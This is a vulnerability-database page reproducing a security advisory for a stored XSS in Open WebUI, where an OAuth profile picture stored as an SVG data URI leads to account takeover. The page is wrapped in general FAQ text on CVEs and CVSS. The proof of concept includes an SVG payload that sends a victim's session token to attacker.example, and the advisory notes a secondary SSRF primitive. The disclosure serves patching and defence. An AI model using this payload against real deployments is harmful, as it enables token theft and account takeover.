How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

362,176

Total vulnerabilities in the database

Open WebUI vulnerable to stored XSS via OAuth picture claim stored as SVG data URI in profile_image_url — open-webui

Improper Input Validation

Summary

When a user signs in via OAuth, Open WebUI fetches the picture claim URL, infers a MIME type from the URL extension via mimetypes.guess_type, and stores data:<mime>;base64,... as the user's profile image. The OAuth code path does not go through the validate_profile_image_url Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A .svg URL in the picture claim lands in the database as data:image/svg+xml;base64,....

The profile image endpoint GET /api/v1/users/{id}/profile/image returns the stored data URI with the attacker-controlled MIME type as Content-Type and Content-Disposition: inline. Security headers (CSP, X-Content-Type-Options) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing <script>/onload in the same origin and able to read localStorage.token → account takeover.

Same class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path.

Details

1. MIME inferred from URL extension, not Content-Type

backend/open_webui/utils/oauth.py:1336-1345 — _process_picture_url:

response = await client.get(picture_url, ...)
if response.status_code == 200:
    picture = response.content
    base64_encoded_picture = base64.b64encode(picture).decode(&quot;utf-8&quot;)
    guessed_mime_type = mimetypes.guess_type(picture_url)[0]
    if guessed_mime_type is None:
        guessed_mime_type = &quot;image/jpeg&quot;
    return f&quot;data:{guessed_mime_type};base64,{base64_encoded_picture}&quot;

No MIME allowlist. The upstream Content-Type is ignored. For a URL ending in .svg, mimetypes.guess_type returns image/svg+xml.

2. OAuth path bypasses the profile-image validator

backend/open_webui/utils/validate.py:10-36 defines validate_profile_image_url, which only accepts /user.png, /user-mono.png, and data:image/{png,jpeg,gif,webp};base64,....

This validator is wired into Pydantic form models (SignupForm, UpdateProfileForm, UserUpdateForm), but the OAuth flow at oauth.py:1536-1540 (existing-user login) and oauth.py:1556-1574 (new-user signup) writes via Users.update_user_profile_image_url_by_id and Auths.insert_new_auth, both of which call SQLAlchemy directly (models/users.py:575-588) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged.

3. Endpoint serves attacker-controlled MIME with `inline` disposition

backend/open_webui/routers/users.py:504-528 — get_user_profile_image_by_id:

header, encoded = image.split(&quot;,&quot;, 1)
media_type = header.split(&quot;;&quot;)[0].lstrip(&quot;data:&quot;)  # &quot;image/svg+xml&quot;
data = base64.b64decode(encoded)
return StreamingResponse(
    iter([data]),
    media_type=media_type,
    headers={&quot;Content-Disposition&quot;: &quot;inline&quot;},
)

No MIME whitelist. The route requires get_verified_user — any authenticated user reaches it.

4. No default CSP / nosniff

backend/open_webui/utils/security_headers.py:16-61 populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level image/svg+xml response as an XML document and execute embedded script.

PoC

Prerequisites: operator has OAuth signup enabled (ENABLE_OAUTH_SIGNUP=true) or OAuth login with picture sync (OAUTH_UPDATE_PICTURE_ON_LOGIN=true). The attacker has a valid identity on the configured IdP and can set their profile picture URL.

Attacker hosts a malicious SVG at https://attacker.example/p.svg:

&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot;
     onload=&quot;fetch(&#039;https://attacker.example/x?c=&#039;+encodeURIComponent(localStorage.getItem(&#039;token&#039;)))&quot; /&gt;

Attacker sets their IdP profile picture to that URL and signs in to Open WebUI via OAuth. Signup (or login with picture sync) stores data:image/svg+xml;base64,... in the attacker's profile_image_url.
Attacker shares a link to their own profile image with a victim in a chat DM or channel:

https://target.example/api/v1/users/&lt;attacker-user-id&gt;/profile/image

The authenticated victim clicks the link. The browser receives Content-Type: image/svg+xml with Content-Disposition: inline, renders the SVG as a top-level document, fires onload, and exfiltrates the victim's JWT. Attacker uses the JWT to take over the victim's account.

Impact

Account takeover of any authenticated user who opens the crafted URL.
Post-takeover: access to the victim's chats, API keys stored in their settings, and — if the victim has workspace.tools permission — RCE via installed tools (per CVE-2025-64496 analysis).
The same _process_picture_url function has no SSRF allowlist; a secondary primitive is to point the picture claim at an internal URL (metadata service, internal admin panel) and read the response bytes via the profile image endpoint.

Suggested fix

In _process_picture_url (utils/oauth.py:1336-1345): reject any MIME outside {image/png, image/jpeg, image/gif, image/webp}. Use the upstream Content-Type response header, not the URL extension. Also add an SSRF allowlist or at minimum block RFC1918 / link-local / loopback targets.
In get_user_profile_image_by_id (routers/users.py:504-528): enforce a MIME whitelist before building StreamingResponse. This is the defense-in-depth layer that should have caught the bypass.
Apply validate_profile_image_url at the model/storage layer (Users.update_user_profile_image_url_by_id), not only at the Pydantic form layer. All write paths to the profile image column should go through the same validator.
Set X-Content-Type-Options: nosniff and a default CSP unless the operator explicitly disables them.

References

backend/open_webui/utils/oauth.py:1318-1351 — MIME guess + fetch
backend/open_webui/utils/oauth.py:1536-1574 — OAuth write path
backend/open_webui/utils/validate.py:10-36 — validator (bypassed)
backend/open_webui/models/users.py:575-588 — DB write
backend/open_webui/routers/users.py:504-528 — serving endpoint
backend/open_webui/utils/security_headers.py:16-61 — env-gated headers
CVE-2025-64496 — precedent: trust boundary error (same class)
CVE-2025-64495 — precedent: rich-text XSS (same class)

Published: May 14, 2026
Updated: May 15, 2026
GHSA: GHSA-3wgj-c2hg-vm6q
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 7.3
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

CWEs:

OWASP TOP 10:

A7 - Cross-Site Scripting (XSS)

Affected Software
References

Software	From	Fixed in
open-webui	-	0.9.5

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.